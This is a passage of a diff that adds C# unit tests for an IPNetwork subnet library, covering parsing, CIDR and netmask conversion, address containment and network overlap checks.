+            bool parsed = IPNetwork.TryParse("0.0.0.0", 33, out ipnet);
+
+            Assert.AreEqual(false, parsed, "parsed");
+            Assert.AreEqual(null, ipnet, "ipnet");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseIPAddressNetmask() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "192.168.168.100";
+            string netmask = "255.255.255.0";
+
+            string network = "192.168.168.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, netmask, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseString1() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "192.168.168.100 255.255.255.0";
+
+            string network = "192.168.168.0";
+            string netmask = "255.255.255.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseString2() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "192.168.168.100/24";
+
+            string network = "192.168.168.0";
+            string netmask = "255.255.255.0";
+            string broadcast = "192.168.168.255";
+            string firstUsable = "192.168.168.1";
+            string lastUsable = "192.168.168.254";
+            byte cidr = 24;
+            uint usable = 254;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseString3() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "0.0.0.0/0";
+
+            string network = "0.0.0.0";
+            string netmask = "0.0.0.0";
+            string broadcast = "255.255.255.255";
+            string firstUsable = "0.0.0.1";
+            string lastUsable = "255.255.255.254";
+            byte cidr = 0;
+            uint usable = 4294967294;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed"); 
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseString4() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "0.0.0.0/32";
+
+            string network = "0.0.0.0";
+            string netmask = "255.255.255.255";
+            string broadcast = "0.0.0.0";
+            string firstUsable = "0.0.0.0";
+            string lastUsable = "0.0.0.0";
+            byte cidr = 32;
+            uint usable = 0;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed"); 
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestTryParseString5() {
+
+            IPNetwork ipnetwork = null;
+            string ipaddress = "255.255.255.255/32";
+
+            string network = "255.255.255.255";
+            string netmask = "255.255.255.255";
+            string broadcast = "255.255.255.255";
+            string firstUsable = "255.255.255.255";
+            string lastUsable = "255.255.255.255";
+            byte cidr = 32;
+            uint usable = 0;
+
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(broadcast, ipnetwork.Broadcast.ToString(), "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+
+        [TestMethod]
+        public void TestTryParseStringAE1() {
+            string ipaddress = "garbage";
+            IPNetwork ipnetwork = null;
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTryParseStringAE2() {
+            string ipaddress = "0.0.0.0 0.0.1.0";
+            IPNetwork ipnetwork = null;
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTryParseStringANE1() {
+            string ipaddress = null;
+            IPNetwork ipnetwork = null;
+            bool parsed = IPNetwork.TryParse(ipaddress, out ipnetwork);
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+
+
+        #endregion
+
+        #region ParseStringString
+
+        [TestMethod]
+        public void TestParseStringString1() {
+
+            string ipaddress = "192.168.168.100";
+            string netmask = "255.255.255.0";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+            Assert.AreEqual("192.168.168.0/24", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString2() {
+
+            string ipaddress = null;
+            string netmask = null;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString3() {
+
+            string ipaddress = "192.168.168.100";
+            string netmask = null;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString4() {
+
+            string ipaddress = "";
+            string netmask = "";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString5() {
+
+            string ipaddress = "192.168.168.100";
+            string netmask = "";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        #endregion
+
+        #region ParseIpIp
+
+        [TestMethod]
+        public void ParseIpIp1() {
+
+            string ipaddress = "192.168.168.100";
+            string netmask = "255.255.255.0";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = IPAddress.Parse(netmask);
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+            Assert.AreEqual("192.168.168.0/24", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void ParseIpIp2() {
+
+            IPAddress ip = null;
+            IPAddress netm = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void ParseIpIp3() {
+
+            string ipaddress = "192.168.168.100";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+
+        }
+
+        #endregion
+
+        #region ToCidr
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestToCidrANE() {
+            IPNetwork.ToCidr(null);
+        }
+
+        [TestMethod]
+        public void TestToCidrAE() {
+            byte cidr = IPNetwork.ToCidr(IPAddress.IPv6Any);
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestToCidrAE2() {
+            IPNetwork.ToCidr(IPAddress.Parse("6.6.6.6"));
+        }
+
+
+        [TestMethod]
+        public void TestToCidr32() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.255");
+            byte cidr = 32;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr24() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.0");
+            byte cidr = 24;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr16() {
+
+            IPAddress mask = IPAddress.Parse("255.255.0.0");
+            byte cidr = 16;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr8() {
+
+            IPAddress mask = IPAddress.Parse("255.0.0.0");
+            byte cidr = 8;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr0() {
+
+            IPAddress mask = IPAddress.Parse("0.0.0.0");
+            byte cidr = 0;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region TryToCidr
+
+        [TestMethod]
+        public void TestTryToCidrANE() {
+            byte? cidr = null;
+            bool parsed = IPNetwork.TryToCidr(null, out cidr);
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTryToCidrAE() {
+            byte? cidr = null;
+            bool parsed = IPNetwork.TryToCidr(IPAddress.IPv6Any, out cidr);
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual((byte)0, cidr, "cidr");
+        }
+
+
+        [TestMethod]
+        public void TestTryToCidrAE2() {
+            byte? cidr = null;
+            bool parsed = IPNetwork.TryToCidr(IPAddress.Parse("6.6.6.6"), out cidr);
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+
+
+        [TestMethod]
+        public void TestTryToCidr32() {
+            byte? cidr = null;
+            IPAddress mask = IPAddress.Parse("255.255.255.255");
+            byte result = 32;
+            bool parsed = IPNetwork.TryToCidr(mask, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr24() {
+            byte? cidr = null;
+            IPAddress mask = IPAddress.Parse("255.255.255.0");
+            byte result = 24;
+            bool parsed = IPNetwork.TryToCidr(mask, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+            
+        }
+        [TestMethod]
+        public void TestTryToCidr16() {
+
+            byte? cidr = null;
+            IPAddress mask = IPAddress.Parse("255.255.0.0");
+            byte result = 16;
+            bool parsed = IPNetwork.TryToCidr(mask, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+            
+        }
+        [TestMethod]
+        public void TestTryToCidr8() {
+
+
+            byte? cidr = null;
+            IPAddress mask = IPAddress.Parse("255.0.0.0");
+            byte result = 8;
+            bool parsed = IPNetwork.TryToCidr(mask, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+            
+        }
+        [TestMethod]
+        public void TestTryToCidr0() {
+
+            byte? cidr = null;
+            IPAddress mask = IPAddress.Parse("0.0.0.0");
+            byte result = 0;
+            bool parsed = IPNetwork.TryToCidr(mask, out cidr);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+            
+        }
+
+        #endregion
+
+        #region ToBigInteger
+
+        [TestMethod]
+        public void TestToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.255");
+            uint uintMask = 0xffffffff;
+            BigInteger result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.0");
+            uint uintMask = 0xffffff00;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("255.255.0.0");
+            uint uintMask = 0xffff0000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("255.0.0.0");
+            uint uintMask = 0xff000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("0.0.0.0");
+            uint uintMask = 0x00000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestToBigIntegerANE() {
+            BigInteger? result = IPNetwork.ToBigInteger(null);
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestToBigIntegerANE3() {
+            IPAddress ip = null;
+            BigInteger? result = IPNetwork.ToBigInteger(ip);
+        }
+        [TestMethod]
+        public void TestToBigIntegerANE2() {
+            BigInteger? result = IPNetwork.ToBigInteger(IPAddress.IPv6Any);
+            uint expected = 0;
+            Assert.AreEqual(expected, result, "result");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestToBigIntegerByte() {
+            BigInteger result = IPNetwork.ToUint(33, Sockets.AddressFamily.InterNetwork);
+        }
+
+        [TestMethod]
+        public void TestToBigIntegerByte2() {
+            BigInteger result = IPNetwork.ToUint(32, Sockets.AddressFamily.InterNetwork);
+            uint expected = 4294967295;
+            Assert.AreEqual(expected, result, "result");
+
+        }
+
+
+        [TestMethod]
+        public void TestToBigIntegerByte3() {
+            BigInteger result = IPNetwork.ToUint(0, Sockets.AddressFamily.InterNetwork);
+            uint expected = 0;
+            Assert.AreEqual(expected, result, "result");
+
+        }
+
+
+
+        #endregion
+
+        #region TryToBigInteger
+
+        [TestMethod]
+        public void TestTryToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.255");
+            uint uintMask = 0xffffffff;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.0");
+            uint uintMask = 0xffffff00;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("255.255.0.0");
+            uint uintMask = 0xffff0000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("255.0.0.0");
+            uint uintMask = 0xff000000;
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("0.0.0.0");
+            uint uintMask = 0x00000000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigIntegerANE() {
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(null, out result);
+
+            Assert.AreEqual(null, result, "uint");
+            Assert.AreEqual(false, parsed, "parsed");
+
+        }
+        [TestMethod]
+        public void TestTryToBigIntegerANE3() {
+            IPAddress ip = null;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(ip, out result);
+
+            Assert.AreEqual(null, result, "uint");
+            Assert.AreEqual(false, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigIntegerANE2() {
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(IPAddress.IPv6Any, out result);
+
+            Assert.AreEqual(0, result, "result");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+
+
+
+        #endregion
+
+        #region TryToNetmask
+        [TestMethod]
+        public void TryToNetmask1() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(0, Sockets.AddressFamily.InterNetwork, out result);
+            IPAddress expected = IPAddress.Parse("0.0.0.0");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TryToNetmask2() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(33, Sockets.AddressFamily.InterNetwork, out result);
+            IPAddress expected = null;
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(false, parsed, "parsed");
+
+        }
+
+        #endregion
+
+        #region ToNetmask
+
+        [TestMethod]
+        public void ToNetmask32() {
+
+            byte cidr = 32;
+            string netmask = "255.255.255.255";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask31() {
+
+            byte cidr = 31;
+            string netmask = "255.255.255.254";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask30() {
+
+            byte cidr = 30;
+            string netmask = "255.255.255.252";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask29() {
+
+            byte cidr = 29;
+            string netmask = "255.255.255.248";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask1() {
+
+            byte cidr = 1;
+            string netmask = "128.0.0.0";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+
+        [TestMethod]
+        public void ToNetmask0() {
+
+            byte cidr = 0;
+            string netmask = "0.0.0.0";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void ToNetmaskOORE1() {
+            byte cidr = 33;
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetwork).ToString();
+        }
+
+        #endregion
+
+        #region ValidNetmask
+
+        [TestMethod]
+        public void TestValidNetmask0() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.255");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask1() {
+
+            IPAddress mask = IPAddress.Parse("255.255.255.0");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask2() {
+
+            IPAddress mask = IPAddress.Parse("255.255.0.0");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        public void TestValidNetmaskEAE1() {
+
+            IPAddress mask = IPAddress.Parse("0.255.0.0");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestValidNetmaskEAE2() {
+
+            IPAddress mask = null;
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        public void TestValidNetmaskEAE3() {
+
+            IPAddress mask = IPAddress.Parse("255.255.0.1");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        #endregion
+
+        #region BitsSet
+
+        [TestMethod]
+        public void TestBitsSet32() {
+
+            IPAddress ip = IPAddress.Parse("255.255.255.255");
+            uint bits = 32;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet24() {
+
+            IPAddress ip = IPAddress.Parse("255.255.255.0");
+            uint bits = 24;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet16() {
+
+            IPAddress ip = IPAddress.Parse("255.255.0.0");
+            uint bits = 16;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet4() {
+
+            IPAddress ip = IPAddress.Parse("128.128.128.128");
+            uint bits = 4;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+
+        #endregion
+
+        #region Contains
+
+        [TestMethod]
+        public void TestContains1()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/24");
+            IPAddress ipaddress = IPAddress.Parse("192.168.0.100");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains2()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/24");
+            IPAddress ipaddress = IPAddress.Parse("10.10.10.10");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains3()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.0.1/24");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains4()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/16");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.1.1/24");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains5()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/16");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("10.10.10.0/24");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+
+        [TestMethod]
+        public void TestContains6()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.0.0/16");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains7()
+        {
+
+            IPNetwork ipnetwork = null;
+            IPNetwork ipnetwork2 = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains8()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("0.0.0.0/0");
+            IPNetwork ipnetwork2 = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains9()
+        {
+
+            IPNetwork ipnetwork = null;
+            IPAddress ipaddress = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+
+        }
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains10()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("0.0.0.0/0");
+            IPAddress ipaddress = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+
+        }
+
+        #endregion
+
+        #region Overlap
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestOverlap1()
+        {
+            IPNetwork network1 = null;
+            IPNetwork network2 = null;
+            IPNetwork.Overlap(network1, network2);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestOverlap2()
+        {
+            IPNetwork network1 = IPNetwork.Parse("10.0.0.0/0");
+            IPNetwork network2 = null;
+            IPNetwork.Overlap(network1, network2);
+        }
+
+        [TestMethod]
+        public void TestOverlap3()
+        {
+            IPNetwork network1 = IPNetwork.Parse("10.0.0.0/0");
+            IPNetwork network2 = IPNetwork.Parse("10.0.0.0/0");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap4()
+        {
+            IPNetwork network1 = IPNetwork.Parse("10.10.0.0/16");
+            IPNetwork network2 = IPNetwork.Parse("10.10.1.0/24");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap5()
+        {
+            IPNetwork network1 = IPNetwork.Parse("10.10.0.0/24");
+            IPNetwork network2 = IPNetwork.Parse("10.10.1.0/24");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap6()
+        {
+            IPNetwork network1 = IPNetwork.Parse("10.10.1.0/24");
+            IPNetwork network2 = IPNetwork.Parse("10.10.0.0/16");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        #endregion
+
+        #region Examples
+
+        public void Example1()
+        {
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.168.100/24");
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
